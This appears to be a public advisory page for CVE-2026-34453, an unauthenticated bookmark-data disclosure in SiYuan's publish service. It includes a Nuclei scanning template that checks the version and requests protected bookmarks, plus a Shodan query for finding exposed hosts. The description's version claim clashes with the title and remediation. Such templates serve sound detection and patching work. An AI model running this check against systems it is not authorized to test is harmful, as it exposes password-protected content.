CVE-2026-34453: SiYuan <= v3.6.1 - Bookmark Data Disclosure

2026-04-09 SiYuan PoC Public

Description

SiYuan v3.6.2 contains an information disclosure vulnerability caused by improper authorization checks in the publish service's bookmark filtering, letting unauthenticated visitors access bookmarked blocks from password-protected documents, exploit requires access to the publish service.

PoC

id: CVE-2026-34453

info:
  name: SiYuan <= v3.6.1 - Bookmark Data Disclosure
  author: 0x_Akoko
  severity: high
  description: |
   SiYuan v3.6.2 contains an information disclosure vulnerability caused by improper authorization checks in the publish service's bookmark filtering, letting unauthenticated visitors access bookmarked blocks from password-protected documents, exploit requires access to the publish service.
  impact: |
   Unauthenticated attackers can access content from protected documents without a password, exposing sensitive information
  remediation: |
   Update to version 3.6.2 or later.
  reference:
    - https://github.com/siyuan-note/siyuan/security/advisories/GHSA-c77m-r996-jr3q
    - https://nvd.nist.gov/vuln/detail/CVE-2026-34453
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-34453
    epss-score: 0.01227
    epss-percentile: 0.67339
    cwe-id: CWE-863
  metadata:
    verified: true
    max-request: 2
    vendor: siyuan-note
    product: siyuan
    shodan-query: http.favicon.hash:-1450125239
  tags: cve,cve2026,siyuan,unauth,disclosure,bac

flow: http(1) && http(2)

http:
  - method: POST
    path:
      - "{{BaseURL}}/api/system/version"

    matchers:
      - type: dsl
        internal: true
        dsl:
          - 'status_code == 200'
          - 'compare_versions(ver, ">= 0.0.1", "<= 3.6.1")'
        condition: and

    extractors:
      - type: json
        name: ver
        internal: true
        json:
          - '.data'

  - raw:
      - |
        POST /api/bookmark/getBookmark HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"code":0'
          - '"type":"bookmark"'
          - '"blocks"'
        condition: and

      - type: word
        part: content_type
        words:
          - "application/json"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502207dab51faa78c193a356932bcc484dbc4642942266df6627e89114c5f6cc7832d022100b47129a4539e5ade29007deee3aa0d91012829d2475e6a70db485c265fb81406:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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